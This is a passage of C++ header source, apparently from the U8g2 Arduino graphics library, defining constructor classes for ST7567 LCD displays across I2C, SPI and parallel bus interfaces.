u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7567_122X32_2_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_122X32_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_122x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7567_122X32_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_122X32_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_122x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7567_122X32_F_SW_I2C : public U8G2 {\n  public: U8G2_ST7567_122X32_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_122x32_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7567_122X32_F_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_122X32_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_122x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7567_122X32_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_122X32_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_122x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7567_64X32_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_64X32_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_64x32_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_64X32_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_64X32_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_64x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_64X32_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_64X32_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_64x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_64X32_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_64X32_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_64x32_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7567_64X32_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_64X32_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_64x32_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7567_64X32_1_6800 : public U8G2 {\n  public: U8G2_ST7567_64X32_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_64x32_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_64X32_1_8080 : public U8G2 {\n  public: U8G2_ST7567_64X32_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_64x32_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_HEM6432_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_HEM6432_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_hem6432_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_HEM6432_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_HEM6432_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_hem6432_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_HEM6432_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_HEM6432_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_hem6432_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_HEM6432_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_HEM6432_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_hem6432_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7567_HEM6432_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_HEM6432_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_hem6432_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7567_HEM6432_1_6800 : public U8G2 {\n  public: U8G2_ST7567_HEM6432_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_hem6432_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_HEM6432_1_8080 : public U8G2 {\n  public: U8G2_ST7567_HEM6432_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_hem6432_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_64X32_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_64X32_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_64x32_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_64X32_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_64X32_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_64x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_64X32_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_64X32_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_64x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_64X32_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_64X32_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_64x32_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7567_64X32_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_64X32_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_64x32_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7567_64X32_2_6800 : public U8G2 {\n  public: U8G2_ST7567_64X32_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_64x32_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_64X32_2_8080 : public U8G2 {\n  public: U8G2_ST7567_64X32_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_64x32_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_HEM6432_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_HEM6432_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_hem6432_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_HEM6432_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_HEM6432_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_hem6432_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_HEM6432_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_HEM6432_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_hem6432_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_HEM6432_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_HEM6432_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_hem6432_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7567_HEM6432_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_HEM6432_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_hem6432_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7567_HEM6432_2_6800 : public U8G2 {\n  public: U8G2_ST7567_HEM6432_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_hem6432_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_HEM6432_2_8080 : public U8G2 {\n  public: U8G2_ST7567_HEM6432_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_hem6432_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_64X32_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_64X32_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_64x32_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_64X32_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_64X32_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_64x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_64X32_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_64X32_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_64x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_64X32_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_64X32_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_64x32_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7567_64X32_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_64X32_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_64x32_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7567_64X32_F_6800 : public U8G2 {\n  public: U8G2_ST7567_64X32_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_64x32_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_64X32_F_8080 : public U8G2 {\n  public: U8G2_ST7567_64X32_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_64x32_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_HEM6432_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_HEM6432_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_hem6432_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_HEM6432_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_HEM6432_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_hem6432_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_HEM6432_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_HEM6432_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_hem6432_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_HEM6432_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_HEM6432_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_hem6432_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7567_HEM6432_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_HEM6432_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_hem6432_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7567_HEM6432_F_6800 : public U8G2 {\n  public: U8G2_ST7567_HEM6432_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_hem6432_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_HEM6432_F_8080 : public U8G2 {\n  public: U8G2_ST7567_HEM6432_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_hem6432_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_64X32_1_SW_I2C : public U8G2 {\n  public: U8G2_ST7567_64X32_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_64x32_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7567_64X32_1_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_64X32_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_64x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7567_64X32_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_64X32_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_64x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7567_HEM6432_1_SW_I2C : public U8G2 {\n  public: U8G2_ST7567_HEM6432_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_hem6432_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7567_HEM6432_1_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_HEM6432_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_hem6432_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7567_HEM6432_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_HEM6432_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_hem6432_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7567_64X32_2_SW_I2C : public U8G2 {\n  public: U8G2_ST7567_64X32_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_64x32_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7567_64X32_2_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_64X32_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_64x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7567_64X32_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_64X32_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_64x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    